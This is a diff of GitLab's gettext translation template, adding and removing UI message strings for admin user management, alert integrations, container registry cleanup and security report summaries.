msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
